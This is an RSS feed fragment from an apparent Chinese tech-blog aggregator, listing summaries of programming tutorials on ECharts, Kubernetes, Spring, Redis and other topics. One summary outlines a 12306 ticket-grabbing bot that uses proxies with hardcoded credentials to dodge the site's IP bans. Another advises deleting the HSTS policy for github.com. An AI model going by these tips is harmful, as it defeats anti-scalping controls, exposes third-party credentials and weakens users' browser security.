      <description>文章目录 漏斗图 简介配置步骤简易示例 漏斗图 简介 Echarts漏斗图（Funnel Chart）是一种常用的数据可视化图表类型，用于展示数据在不同阶段的流转和转化情况。漏斗图通过不同大小的梯形图形来表示各个阶段的数据量，从而形成一个逐渐减少的漏斗形状，帮助用户直观地理解数据的流失情况和转化率。&#xA;Echarts漏斗图的特点如下：&#xA;阶段流转展示：漏斗图适用于展示数据在不同阶段的流转情况，例如销售流程、转化率分析、客户端行为分析等。通过不同阶段的梯形图形，可以清晰地展示数据在不同阶段的数量变化和流失情况。&#xA;转化率可视化：漏斗图可以展示数据的转化率，即各个阶段之间的比例关系。通过梯形的宽度和高度，可以直观地展示不同阶段之间的转化率和流失比例，帮助用户了解数据的流动情况和转化效果。&#xA;数据排序和筛选：Echarts漏斗图支持对数据进行排序和筛选，可以根据不同的指标对阶段进行排序，以便更好地理解数据的流转情况。同时，漏斗图还可以通过交互操作来对数据进行筛选，例如点击某个阶段来展示该阶段的详细信息。&#xA;数据标签和提示：漏斗图可以在图形上显示数据标签，例如阶段名称、数量或百分比等信息。同时，鼠标悬停在图形上时，还可以显示数据的详细信息，方便用户查看和分析数据。&#xA;多样化的样式和配置：Echarts漏斗图提供了丰富的样式和配置选项，用户可以根据需求自定义漏斗图的外观和功能。例如，可以调整图表的颜色、形状、边框样式等，以及添加动画效果和交互操作。&#xA;兼容性强：Echarts漏斗图能够兼容主流的浏览器，并且提供了响应式布局的功能，可以自适应不同的屏幕尺寸。&#xA;可扩展性好：Echarts提供了丰富的扩展插件和主题，用户可以根据需求自定义图表的功能和外观。同时，Echarts还支持与其他前端框架（如Vue、React）的集成，方便开发者更好地使用和扩展。&#xA;总之，Echarts漏斗图是一种功能强大、配置灵活、可视化效果好的数据可视化工具，能够有效地展示数据在不同阶段的流转和转化情况。通过漏斗图，用户可以更加直观地了解数据的流失情况和转化率，从而做出更准确的数据分析和决策。&#xA;配置步骤 Echarts漏斗图的详细配置过程如下：&#xA;引入Echarts库：在HTML文件中引入Echarts库的JavaScript文件。 &amp;lt;script src=&#34;echarts.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 创建一个具有指定宽度和高度的DOM容器，用于显示漏斗图。 &amp;lt;div id=&#34;chart&#34; style=&#34;width: 600px; height: 400px;&#34;&amp;gt;&amp;lt;/div&amp;gt; 初始化echarts实例，并将其绑定到指定的DOM容器上。 var chart = echarts.init(document.getElementById(&#39;chart&#39;)); 配置漏斗图的相关参数： var option = { title: { text: &#39;漏斗图示例&#39;, // 图表标题 x: &#39;center&#39; // 标题位置 }, series: [{ type: &#39;funnel&#39;, // 图表类型为漏斗图 data: [ { name: &#39;阶段1&#39;, value: 100 }, // 阶段数据，指定阶段的名称和数值 { name: &#39;阶段2&#39;, value: 80 }, { name: &#39;阶段3&#39;, value: 60 }, { name: &#39;阶段4&#39;, value: 40 }, { name: &#39;阶段5&#39;, value: 20 } ] }] }; 将配置应用到漏斗图上，并显示出来。 chart.</description>
    </item>
    <item>
      <title>使用Python编写一个多线程的12306抢票程序</title>
      <link>https://bchobby.github.io/posts/3b19ca22951f2a8e5581a8dced2138d1/</link>
      <pubDate>Fri, 15 Sep 2023 16:19:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b19ca22951f2a8e5581a8dced2138d1/</guid>
      <description>国庆长假即将到来，大家纷纷计划着自己的旅行行程。然而，对于很多人来说，抢购火车票人们成了一个令人头疼的问题。12306网站的服务器经常因为流量高而崩溃，导致抢票变得越来越严重异常困难。&#xA;首先，让我们来了解一下12306抢票的难点。由于很多人都在同一时间段内访问12306网站，服务器的负载率非常高，导致网站响应变慢甚至崩溃。这使得抢票变得异常困难，因为您需要在短时间内提交请求并获取票务信息。&#xA;Python可以支持多线程访问，所以为了解决这个问题，我们可以使用多线程编程的技术。多线程允许我们同时执行多个任务，从而提高程序的效率。在这个案例中，我们可以使用多线程来同时发送多个请求给12306网站，从而增加我们抢票的成功率。但是12306抢票的难点还在于网站的反抢措施。为了杜绝恶意抢票行为，12306网站采取了多种反抢技术，如验证码、IP封禁等。这使得抢票变得更加困难，因为我们需要采取行动这些反爬措施才能成功抢到票。&#xA;首先，我们需要编写一个起始页解析函数，用于获取12306网站的起始页信息。在这个函数中，我们可以使用Python的requests库发送HTTP请求，并使用代理IP来隐藏真实IP地址，减少被封禁的风险。下面是一个示例代码：&#xA;import requests def parse_start_page(): proxyHost = &#34;u6205.5.tp.16yun.cn&#34; proxyPort = &#34;5445&#34; proxyUser = &#34;16QMSOML&#34; proxyPass = &#34;280651&#34; proxies = { &#34;http&#34;: f&#34;http://{proxyUser}:{proxyPass}@{proxyHost}:{proxyPort}&#34;, &#34;https&#34;: f&#34;http://{proxyUser}:{proxyPass}@{proxyHost}:{proxyPort}&#34; } url = &#34;https://12306.com/start_page&#34; response = requests.get(url, proxies=proxies) if response.status_code == 200: # 解析起始页信息 start_page_data = response.text # 进一步处理起始页数据 ... else: print(&#34;无法访问起始页&#34;) parse_start_page() 然后设置请求头信息：在发送HTTP请求时，设置合适的User-Agent和Referer等请求头信息，模拟正常的浏览器行为。下面是一个示例代码&#xA;import requests headers = { &#34;User-Agent&#34;: &#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36&#34;, &#34;</description>
    </item>
    <item>
      <title>vue vue-devtools调试工具神器安装</title>
      <link>https://bchobby.github.io/posts/13ab79b1b63cb1ef231f1342975f8cb7/</link>
      <pubDate>Fri, 15 Sep 2023 15:49:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13ab79b1b63cb1ef231f1342975f8cb7/</guid>
      <description>目录 vue vue-devtools调试工具神器安装 前言chrome商店直接安装手动安装 第一步：找到vue-devtools的github项目，并将其clone到本地. vue-devtools第二步：安装项目所需要的npm包第三步：编译项目文件第四步：添加至chrome游览器vue-devtools如何使用文章转自 vue vue-devtools调试工具神器安装 前言 vue-devtools是一款基于chrome游览器的插件，用于调试vue应用，这可以极大地提高我们的调试效率。接下来我们就介绍一下vue-devtools的安装。&#xA;chrome商店直接安装 vue-devtools可以从chrome商店直接下载安装，非常简单，这里就不过多介绍了。不过要注意的一点就是，需要FQ才能下载。&#xA;手动安装 第一步：找到vue-devtools的github项目，并将其clone到本地. vue-devtools git clone https://github.com/vuejs/vue-devtools.git 第二步：安装项目所需要的npm包 npm install //如果太慢的话，可以安装一个cnpm, 然后命令换成 cnpm install 第三步：编译项目文件 npm run build 第四步：添加至chrome游览器 游览器输入地址“chrome://extensions/”进入扩展程序页面，点击“加载已解压的扩展程序...”按钮，选择vue-devtools&amp;gt;shells下的chrome文件夹。 /** *如果看不见“加载已解压的扩展程序...”按钮，则需要勾选“开发者模式”。 */ 我这里把编译过的文件上传了百度云，后续步骤依旧，并且还附上了一个.crx文件，在chrome拓展程序页面上把文件拖进去即可安装。若百度云失效可文章下留言，我看到后会重新生成链接。&#xA;链接:https://pan.baidu.com/s/139hspAnspD7bJbo81xigmg 密码:1hsv 如果百度链接失效，再试试下面这个&#xA;链接：https://pan.baidu.com/s/1hCovWs-8ftBpVypNvKpD1g 提取码：blal vue-devtools如何使用 当我们添加完vue-devtools扩展程序之后，我们在调试vue应用的时候，chrome开发者工具中会看一个vue的一栏，点击之后就可以看见当前页面vue对象的一些信息。vue-devtools使用起来还是比较简单的，上手非常的容易，这里就细讲其使用说明了。&#xA;非常好用的调试工具，有了它我们就可以更好的学习Vue了！！！&#xA;文章转自 https://www.jianshu.com/p/63f09651724c</description>
    </item>
    <item>
      <title>学习到的一种解决github网站打不开的方法</title>
      <link>https://bchobby.github.io/posts/b0a4bacd08af0e20739d30c81d923a5c/</link>
      <pubDate>Fri, 15 Sep 2023 15:43:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0a4bacd08af0e20739d30c81d923a5c/</guid>
      <description>问题描述 gitHub网站打不开！&#xA;解决方案： 首先，按住电脑的Win+R键输入文件路径C:\Windows\System32\drivers\etc点击确认：&#xA;出现了以下文件夹：&#xA;复制hosts文件至桌面。&#xA;再按住电脑的Win+R键输入cmd点击确定：&#xA;输入ping github.com命令，点击回车：&#xA;可以用记事本的方式打开桌面的hosts文件，新加一行记录，即刚查出的ip地址，并保存：&#xA;将桌面修改后的hosts文件复制到原来的文件夹中并替换掉原文件：&#xA;然后(以谷歌浏览器为例)打开谷歌浏览器访问chrome://net-internals/#hsts，在Query HSTS/PKP domain这里输入github.com点击查询：&#xA;（微软浏览器访问edge://net-internals/#hsts）&#xA;（查询HSTS/PKP域 输入域名查询当前HSTS/PKP设置 不懂）&#xA;在Delete domain security policies这里输入github.com点击删除：&#xA;（删除域安全策略 输入域名，删除动态HSTS策略(不能删除预加载的条目) 不懂）&#xA;最后重新访问github.com的官网：</description>
    </item>
    <item>
      <title>Kubernetes 使用configmap挂载卷给Pod内的nginx容器，并且实现nginx的代理服务</title>
      <link>https://bchobby.github.io/posts/97c7cbea765aa00d25244d597c226294/</link>
      <pubDate>Fri, 15 Sep 2023 15:20:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97c7cbea765aa00d25244d597c226294/</guid>
      <description>目录&#xA;实验：使用configmap挂载卷给Pod内的nginx容器&#xA;1、创建nginx.conf配置文件（必须由nginx镜像里的nginx.conf修改而来，防止出现配置不相似的情况出现，导致访问不了nginx网页）&#xA;2、通过nginx.conf文件创建configmap容器（注意nginx.conf文件必须在该目录下）&#xA;3、查看创建的configmap和它的详细资料&#xA;4、根据configmap创建nginx-deployment.yaml文件&#xA;5、运行nginx-deployment.yaml，创建Pod&#xA;6、创建Service发布nginx容器服务，创建nginx-service.yaml文件&#xA;7、运行nginx-service.yaml，创建Pod&#xA;8、验证访问&#xA;实验：使用Configmap将nginx容器变为代理服务器，使集群内访问集群外边的资源通过nginx tcp代理。&#xA;1、使用nginx-config.yaml文件创建Configmap&#xA;2、搭建nginx容器，调用Configmap更新nginx的配置文件（添加入网口的标签）：&#xA;3、运行 nginx-deployment2.yaml，搭建Pod&#xA;4、运行 nginx-service2.yaml，搭建Service服务&#xA;5、运行nginx-service2.yaml 和 nginx-service3.yaml， 搭建Service服务&#xA;6、验证访问：&#xA;实验：使用configmap挂载卷给Pod内的nginx容器 1、创建nginx.conf配置文件（必须由nginx镜像里的nginx.conf修改而来，防止出现配置不相似的情况出现，导致访问不了nginx网页） (base) root@sd-cluster-04:/etc/nginx# cat nginx.conf # claylpf test user nginx; worker_processes auto; error_log /var/log/nginx/error.log notice; pid /var/run/nginx.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main &#39;$remote_addr - $remote_user [$time_local] &#34;$request&#34; &#39; &#39;$status $body_bytes_sent &#34;$http_referer&#34; &#39; &#39;&#34;$http_user_agent&#34; &#34;$http_x_forwarded_for&#34;&#39;; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; keepalive_timeout 65; #gzip on; include /etc/nginx/conf.</description>
    </item>
    <item>
      <title>Spring JPA</title>
      <link>https://bchobby.github.io/posts/ac05984a7626522985a3e894d5992ac8/</link>
      <pubDate>Fri, 15 Sep 2023 15:05:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac05984a7626522985a3e894d5992ac8/</guid>
      <description>一.Spring data jpa 简介 首先我并不推荐使用jpa作为ORM框架,毕竟对于负责查询的时候还是不太灵活,还是建议使用mybatis,自己写sql比较好.但是如果公司用这个就没办法了,可以学习一下,对于简单查询还是非常好用的.&#xA;首先JPA是Java持久层API,由Sun公司开发, 希望整合ORM技术，实现天下归一. 诞生的缘由是为了整合第三方ORM框架，建立一种标准的方式，目前也是在按照这个方向发展，但是还没能完全实现。在ORM框架中，Hibernate是一支很大的部队，使用很广泛，也很方便，能力也很强，同时Hibernate也是和JPA整合的比较良好，我们可以认为JPA是标准，事实上也是，JPA几乎都是接口，实现都是Hibernate在做，宏观上面看，在JPA的统一之下Hibernate很良好的运行。&#xA;Spring-data-jpa，Spring与jpa的整合&#xA;Spring主要是在做第三方工具的整合 不重新造轮子. 而在与第三方整合这方面，Spring做了持久化这一块的工作，于是就有了Spring-data-**这一系列包。包括，Spring-data-jpa,Spring-data-template,Spring-data-mongodb,Spring-data-redis&#xA;Spring-data-jpa，目的少使用sql&#xA;我们都知道，在使用持久化工具的时候，一般都有一个对象来操作数据库，在原生的Hibernate中叫做Session，在JPA中叫做EntityManager，在MyBatis中叫做SqlSession，通过这个对象来操作数据库。我们一般按照三层结构来看的话，Service层做业务逻辑处理，Dao层和数据库打交道，在Dao中，就存在着上面的对象。那么ORM框架本身提供的功能有什么呢？答案是基本的CRUD(增删改查)，所有的基础CRUD框架都提供，我们使用起来感觉很方便，很给力，业务逻辑层面的处理ORM是没有提供的，如果使用原生的框架，业务逻辑代码我们一般会自定义，会自己去写SQL语句，然后执行。在这个时候，Spring-data-jpa的威力就体现出来了，ORM提供的能力他都提供，ORM框架没有提供的业务逻辑功能Spring-data-jpa也提供，全方位的解决用户的需求。使用Spring-data-jpa进行开发的过程中，常用的功能，我们几乎不需要写一条sql语句，至少在我看来，企业级应用基本上可以不用写任何一条sql，当然spring-data-jpa也提供自己写sql的方式&#xA;返回值为对象的意义&#xA;是jpa查询表内容返回值基本上都是对象,但是仅仅需要一个字段返回整体对象不是会有很多数据冗余吗,其实大多数情况对一个数据表的查询不可能只有一次或者说这个表不仅仅是这一次会用到,如果我写好一个返回对象的方法,之后都可以直接调用,一般情况下多出一点数据对网络的压力可以忽略不计,而这样对开发效率的提升还是很大的.如果仅仅想得到一部分字段也可以新建一个只有想要字段的Entity.&#xA;二.Spring data jpa 基本使用 对于配置方法和基础的dao层写法等不做介绍,基础篇仅当做一个方法字典.&#xA;1.核心方法&#xA;查询所有数据 findAll() 修改 添加数据 S save(S entity) 分页查询 Page&amp;lt;S&amp;gt; findAll(Example&amp;lt;S&amp;gt; example, Pageable pageable) 根据id查询 findOne() 根据实体类属性查询： findByProperty (type Property); 例如：findByAge(int age) 删除 void delete(T entity) 计数 查询 long count() 或者 根据某个属性的值查询总数 countByAge(int age) 是否存在 boolean existsById(ID primaryKey) 2.查询关键字&#xA;-and&#xA;And 例如：findByUsernameAndPassword(String user, Striang pwd)；&#xA;-or Or 例如：findByUsernameOrAddress(String user, String addr)；</description>
    </item>
    <item>
      <title>Java-坦克攻击（多线程实现子弹）</title>
      <link>https://bchobby.github.io/posts/2ddf068cfcda4a42a3f5380cc7485b71/</link>
      <pubDate>Fri, 15 Sep 2023 11:17:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ddf068cfcda4a42a3f5380cc7485b71/</guid>
      <description>Java-坦克攻击（多线程实现子弹） 实现过程 定义子弹类（Bullet） /** * 子弹类 * @author: SEA * @date: 2023/3/18 */ public class Bullet { //子弹坐标和发射方向 int x; int y; int direction; int speed = 5;//子弹初始速度为 5 public Bullet(int x, int y, int direction) { this.x = x; this.y = y; this.direction = direction; } public int getSpeed() { return speed; } public void setSpeed(int speed) { this.speed = speed; } } 普通坦克类（Tank） 新增属性： （1）子弹对象Bullet； 新增方法： （1）setBullet() 和 getBullet();（2）坦克攻击方法attack()，计算坦克发射出的子弹初始坐标; /** * 坦克 * @author: SEA * @date: 2023/3/2 */ public class Tank{ private int x;//坦克的横坐标 private int y;//坦克的纵坐标 private int direction;//坦克的朝向：0 =&amp;gt; 向上 ，1 =&amp;gt; 向下 ，2 =&amp;gt; 向左 ， 3 =&amp;gt; 向右 private int speed = 5;//坦克速度 private Bullet bullet;//坦克子弹 public Tank(int x, int y) { this.</description>
    </item>
    <item>
      <title>Redis 配置文件详解 - 持久化（RDB、AOF）</title>
      <link>https://bchobby.github.io/posts/923239967bf1c8a6c988ea9f1a4783e3/</link>
      <pubDate>Fri, 15 Sep 2023 10:55:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/923239967bf1c8a6c988ea9f1a4783e3/</guid>
      <description>目录&#xA;Redis 配置文件详解&#xA;单位&#xA;包含 INCLUDES&#xA;网络 NETWORK&#xA;通用 GENERAL&#xA;快照 SNAPSHOTTING （持久化）&#xA;复制 REPLICATION（主从复制） 安全 SECURITY（账号密码设置）&#xA;​编辑 限制 CLIENTS&#xA;追加模式 APPEND ONLY MODE Redis 持久化&#xA;RDB ( Redis DataBase )&#xA;什么是RDB呢？&#xA;触发机制：&#xA;如何恢复rdb文件里面的数据：&#xA;RDB持久化的优缺点：&#xA;AOF ( Append Only File) 什么是AOF呢？ AOF的配置：&#xA;测试AOF日志文件的修复：&#xA;AOF文件重写规则说明：&#xA;AOF持久化的优缺点：&#xA;扩展：&#xA;Redis 配置文件详解 启动Redis的时候，就通过配置文件来启动&#xA;redis-server /usr/local/redis/redis-7.0.11/redis.conf 单位 1、配置文件 unit单位 对大小写不敏感！&#xA;包含 INCLUDES 可以导入其他的配置文件，就好比python中导入包import命令一样，只不过是跟c语言导入配置差不多。&#xA;网络 NETWORK bind 127.0.0.1 # 绑定的ip（我们可以设定为0.0.0.0，这样外部的机器也能访问我们的redis数据库了） protected-mode yes # 保护模式，目的是保护redis数据库的安全 port 6379 #端口设置，用于发布出去的端口 通用 GENERAL 其中的配置</description>
    </item>
    <item>
      <title>在SpringBoot项目中整合SpringSession，基于Redis实现对Session的管理和事件监听</title>
      <link>https://bchobby.github.io/posts/fe8f296cea028fac482082196c1997ee/</link>
      <pubDate>Fri, 15 Sep 2023 10:12:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe8f296cea028fac482082196c1997ee/</guid>
      <description>1、SpringSession简介 SpringSession是基于Spring框架的Session管理解决方案。它基于标准的Servlet容器API，提供了Session的分布式管理解决方案，支持把Session存储在多种场景下，比如内存、MongoDB、Redis等，并且能够快速集成到Spring应用程序中。使用SpringSession实现Session管理，可以有效解决Session共享的问题，提升系统的可伸缩性和可靠性。同时，SpringSession还提供了一些扩展，如Spring Session Data Redis、Spring Session JDBC等，可用于与不同的数据源进行集成。&#xA;这边博客主要记录了如何在SpringBoot项目中整合SpringSession，并基于Redis实现对Session的管理和事件监听，具体过程如下：&#xA;2、整合SpringSession的步骤 2.1、引用SpringSession相关依赖 这里引入了spring-session和Redis的相关依赖，项目其他依赖根据自己的项目按需引入即可。其中spring-session依赖有很多版本（根据Session存储场景区分），这里我们引入spring-session-data-redis即可。&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.session&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-session-data-redis&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-redis&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2.2、通过Java Config进行配置 这里通过Java实现SpringSession的配置。&#xA;EnableRedisHttpSession注解，开启SpringSession的配置，默认加载SpringSession需要的配置内容。其中maxInactiveIntervalInSeconds用来设置Session的过期时间，默认是1800s（30分钟），这里为了方便测试改成了2分钟。引入LettuceConnectionFactory 工厂类，用于配置和管理与Redis服务器连接的，它是Spring Data Redis的一部分。HttpSessionIdResolver 类主要实现SessionId的解析，SpringSession默认的使用的是CookieHttpSessionIdResolver，即基于Cookie解析SessionId，因为项目使用了前后端分离，所以这里改成了http请求头的解析方式，同时修改了请求头的key为“X-Token”，默认值为“X-Auth-Token”。 @Configuration @EnableRedisHttpSession(maxInactiveIntervalInSeconds=60 * 2) public class QriverSpringSessionConfig { @Bean public LettuceConnectionFactory connectionFactory(){ return new LettuceConnectionFactory(); } @Bean public HttpSessionIdResolver sessionIdResolver() { return new HeaderHttpSessionIdResolver(&#34;X-Token&#34;); } } 如果之前项目中没有引入Redis，这里还需要增加Redis的相关链接信息，如下所示：&#xA;spring: redis: host: 127.0.0.1 port: 6379 ssl: false database: 0 password: 123456 2.3、前端获取token并作为鉴权标识 前端在登录系统成功时，可以通过返回的response 的Headers中解析到Token值，一般会在前端封装的http请求中进行全局处理，如下下图所示:</description>
    </item>
    <item>
      <title>Gof23设计模式之状态模式</title>
      <link>https://bchobby.github.io/posts/b9e3254d9a217be9284c24144e6f7f12/</link>
      <pubDate>Fri, 15 Sep 2023 08:17:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9e3254d9a217be9284c24144e6f7f12/</guid>
      <description>1.概述 【例】通过按钮来控制一个电梯的状态，一个电梯有开门状态，关门状态，停止状态，运行状态。每一种状态改变，都有可能要根据其他状态来更新处理。例如，如果电梯门现在处于运行时状态，就不能进行开门操作，而如果电梯门是停止状态，就可以执行开门操作。&#xA;public interface ILift { //电梯的4个状态 //开门状态 public final static int OPENING_STATE = 1; //关门状态 public final static int CLOSING_STATE = 2; //运行状态 public final static int RUNNING_STATE = 3; //停止状态 public final static int STOPPING_STATE = 4; //设置电梯的状态 public void setState(int state); //电梯的动作 public void open(); public void close(); public void run(); public void stop(); } public class Lift implements ILift { private int state; @Override public void setState(int state) { this.</description>
    </item>
    <item>
      <title>Matlab图像处理-RGB模型在显示系统的应用</title>
      <link>https://bchobby.github.io/posts/badb9cd995c52049eca450d228ebf7ee/</link>
      <pubDate>Fri, 15 Sep 2023 07:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/badb9cd995c52049eca450d228ebf7ee/</guid>
      <description>RGB模型在显示系统的应用 RGB模型常用于显示系统。彩色阴极射线管和彩色光栅图形显示器均利用R、G、B数值来驱动R、G、B电子枪发射电子，分别激发荧光屏幕上的R、G、B三色荧光粉末。粉末通过添加和混合发出不同亮度的光并产生各种颜色。 扫描仪通过吸收原稿经反射或透射发出的光中的R、G、B成分，并用它来表现原稿的颜色。 RGB 色彩空间是与设备相关的色彩空间。 因此，不同的扫描仪扫描同一幅图像会得到不同的彩色图像数据：不同型号的显示器显示相同的图像也会有不同的彩色显示结果。&#xA;Matlab实现RGB模型 在Matlab中，RGB图像可以表示为 的三维矩阵。每个彩色像素对应于彩色图像中特定空间位置的红、绿、蓝三个分量。组件图像的数据类型决定了它们的取值范围。如果RGB图像的数据类型为double，则每个分量图像的取值范围为[0，1]，如果数据类型为uint8或uint16，则每个分量图像的取值范围分别为[0，255]或[ 0，65535]。&#xA;图像合成如果PR、PG、PB分别代表3种 RGB 分量，那么一幅RGB图像就是利用cat（级联）算子将这些分量图像组合成彩色图像：&#xA;RGB_image=cat(3,PR,PG,PB); %将PR、PG、PB三个矩阵在第3个维度上进行级联&#xA;注意，在上面的cat操作中，图像应该按照R、G、B的顺序排列，如果所有的分量图像都相等，那么结果将是一张灰度图像。&#xA;分量提取让RGB_image代表一个RGB图像，下面的命令可以提取3个分量图像：&#xA;PR=RGB_image(:,:,1);&#xA;PG=RGB_image(:,:,2);&#xA;PB=RGB_image(:,:,3);</description>
    </item>
    <item>
      <title>教学计划编制问题</title>
      <link>https://bchobby.github.io/posts/7fe6168afa4dd201b63fff2f2337fabb/</link>
      <pubDate>Fri, 15 Sep 2023 02:09:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fe6168afa4dd201b63fff2f2337fabb/</guid>
      <description>教学计划编制问题&#xA;学生姓名：XX 指导老师：XXX&#xA;摘 要 本课程设计主要针对计算机系本科课程，根据课程之间的依赖关系，制定课程安排计划，并满足各学期课程数目大致相同。在课程设计中，系统开发平台为Windows XP，程序设计设计语言采用C++，程序运行平台为Windows XP，数据结构为邻接表。对于每个学期的课程数目采用了学分变量进行控制，以实现各学期课程数目大致相同。在程序设计中，采用了面向对象解决问题的方法。程序通过调试运行，初步实现了设计目标，并且经过适当完善后，将可以应用在教学中解决教学计划编制问题。&#xA;关键词 程序设计；数据结构；AOV网；邻接表；C++；课程计划&#xA;1 引 言&#xA;计算机系的学生必须要完成教学计划中规定的一系列课程，有些课程之间存在相互之间的依赖关系。比如说：《C++程序设计基础》应在《数据结构》之前开设，《大学物理（下）》必须要在《大学物理（上）》学完之后才可以学习。在教学计划编制的过程中，有一个层次的关系。因此，有一个有效、便捷的教学计划编制系统是十分重要的。&#xA;1.1 课程设计目的&#xA;本课程设计主要是针对计算机系本科课程，根据课程之间的依赖关系，制定课程安排计划，并满足各学期课程数目大致相同。&#xA;教学计划编制系统是基于C++的软件系统，通过建立AOV网，按学期对课程序号、课程代号、课程名称以及课程学分进行相应输出，并且保证用户实现自由选择专业选修课功能。&#xA;1.2 课程设计内容&#xA;教学计划编制系统主要是处理课程之间的依赖关系。表1.1列出了若干门计算机系本科课程，其中有些课程不要求先修课程，例如，C1是独立于其他课程的基础课，而有些课程却需要有先修课程，比如，学完程序设计语言C++和离散数学后才能学习数据结构。具体情况如表1.1所示。&#xA;表1.1 课程以及课程之间的依赖关系&#xA;课程代号&#xA;课程名称&#xA;先修课程&#xA;C1&#xA;高等数学&#xA;无&#xA;C2&#xA;计算机科学导论&#xA;无&#xA;C3&#xA;离散数学&#xA;C1&#xA;C4&#xA;程序设计语言C++&#xA;C1、C2&#xA;C5&#xA;数据结构&#xA;C3、C4&#xA;C6&#xA;计算机原理&#xA;C2、C4&#xA;C7&#xA;数据库原理&#xA;C4、C5、C6&#xA;先修课程规定了课程之间的依赖关系，这种关系可以用AOV网来表示，其中顶点表示课程，弧表示依赖关系，如图1.1所示。&#xA;图1.1 表1.1对应的AOV网&#xA;程序的主要功能是实现课程的排序，以满足同一学期所修的课程相互之间无依赖关系，并且已修完其所有先修课程。另外，设置学分变量，控制每个学期的课程量基本均匀。&#xA;2 概要设计&#xA;2.1 设计思路&#xA;数据结构课程主要讨论数据表示和数据处理的基本问题。数据要能被计算机处理，首先必须能够存储在计算机的内存中，这项任务称为数据表示，数据表示的核心任务是数据结构的设计；一个实际问题的求解必须满足各项处理要求，这项任务称为数据处理，数据处理的核心任务是算法设计。&#xA;本课程设计是基于C++程序设计语言实现的。C++语言的主要特点表现在两个方面，一是全面兼容C，二是支持面向对象的方法。因此，C++既支持面向过程的程序设计，又支持面向对象的程序设计。&#xA;C++语言最有意义的方面是支持面向对象的特征，基于对象的程序是以类和对象为基础的，程序的操作是围绕对象进行的。在此基础上利用了继承机制和多态性，就成为面向对象的程序设计。&#xA;数据结构中的数据表示和数据处理问题都可以通过C++类中数据和对数据进行操作的函数来实现。&#xA;2.2 数据表示&#xA;教学计划编制问题中，操作对象是课程。课程之间的依赖关系用AOV网表示， AOV网的构造采用邻接表实现。因此，本程序设计定义了两个类：课程类和邻接表类。&#xA;课程类（Lesson）添加了5个私有成员变量用来定义课程的5个属性：课程代号、课程名称、课程序号、课程学分以及是否被选择过的课程标记。同时还定义了8个成员函数，已实现相关的操作功能。&#xA;邻接表类（ALGraph）定义了2个整型成员变量和1个结构体数组来存放顶点数、边数和顶点表。同时还定义了4个成员函数实现用来实现AOV网的构造、删除、排序以及相关输出功能。&#xA;2.3 数据处理&#xA;数据处理必须借助函数来实现。本程序设计通过调用类的各种成员函数实现各种需要操作。&#xA;课程类（Lesson）的成员函数如表2.1所示。</description>
    </item>
    <item>
      <title>焕发生机｜嵌入式存储eMMC原理解析</title>
      <link>https://bchobby.github.io/posts/df718a42bddf85dd77403d3524ad46d8/</link>
      <pubDate>Fri, 15 Sep 2023 00:49:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df718a42bddf85dd77403d3524ad46d8/</guid>
      <description>1.EMMC背景回顾&#xA;EMMC存储的发展历史可以追溯到1997年，当时该技术是为了解决移动设备中存储器的问题而提出的。当时移动设备的存储器主要是NOR flash，这种存储器虽然读写速度快，但是造价高、容量小，不适合大规模应用。而EMMC的出现，将存储器和处理器或其他电子元件一起集成到单一芯片中，形成小巧、轻便的封装模块，解决了这个问题。随着技术的不断发展，EMMC规格的标准也逐渐从eMMC4.3时代发展到eMMC4.4时代，并进一步发展出eMMC4.5和eMMC 5.0等版本。其中，eMMC 5.0是三星于2013年7月29日首先量产的行业首款eMMC 5.0存储产品。&#xA;2.EMMC基本原理&#xA;eMMC是嵌入式MultiMediaCard的简称，它是对MMC存储卡标准的一个拓展，以满足更高标准的性能、成本、体积、稳定、易用等的需求。eMMC整体架构主要可以分为Flash Memory、Flash Controller以及Host Interface三大部分。&#xA;其中，Flash Memory是eMMC存储数据的主要部分，属于非易失性存储器，用于存放系统、应用和数据等，类似于PC系统中的硬盘。在eMMC内部，Flash Memory会被划分成不同的区域，包括BOOT Area Partition、RPMB Partition、General Purpose Partition和User Data Area等。&#xA;3.EMMC应用场景&#xA;由于EMMC具有大容量、高可靠性、低功耗、可扩展性强等特点，被广泛应用于各种嵌入式系统中，如手机和平板等移动设备。在这些设备中，eMMC通常会与处理器或SOC配合使用，以实现数据的存储和读取。开发者可以使用eMMC存储和读取设备中的系统和应用数据，包括操作系统代码、用户数据、应用程序等。&#xA;同时，随着技术的发展，EMMC的读写速度也不断提升，比如最新的eMMC 5.1读写速度已经可以达到UHS-II等级的速度。此外，EMMC也被应用于一些新兴的技术领域，比如DPU。在DPU中，EMMC作为存储器使用，支持DPU处理大量数据时所需的大容量存储器，同时满足DPU对高速数据传输的需求。&#xA;业内也有一个iNAND，是西部数据公司符合eMMC协议的一种芯片系列名称。也就是说，iNAND是一种eMMC，它基于eMMC协议进行设计和生产。是由存储系统和接口电路构成的，但它的接口电路比较复杂，功能很健全。它不仅提供了块的ECC校验相关的逻辑，而且本身自己完成了存储系统的ECC功能。这样，当SoC使用iNAND时，它就不需要自己编写代码来进行ECC相关操作，从而大大简化了SoC的编程难度。&#xA;另外，WD在HDD上采用的OptiNAND不是EMMC，基于UFS的产品。此前，WD针对HDD的创新提出了OptiNAND技术。OptiNAND技术的核心就是新增了iNAND UFS 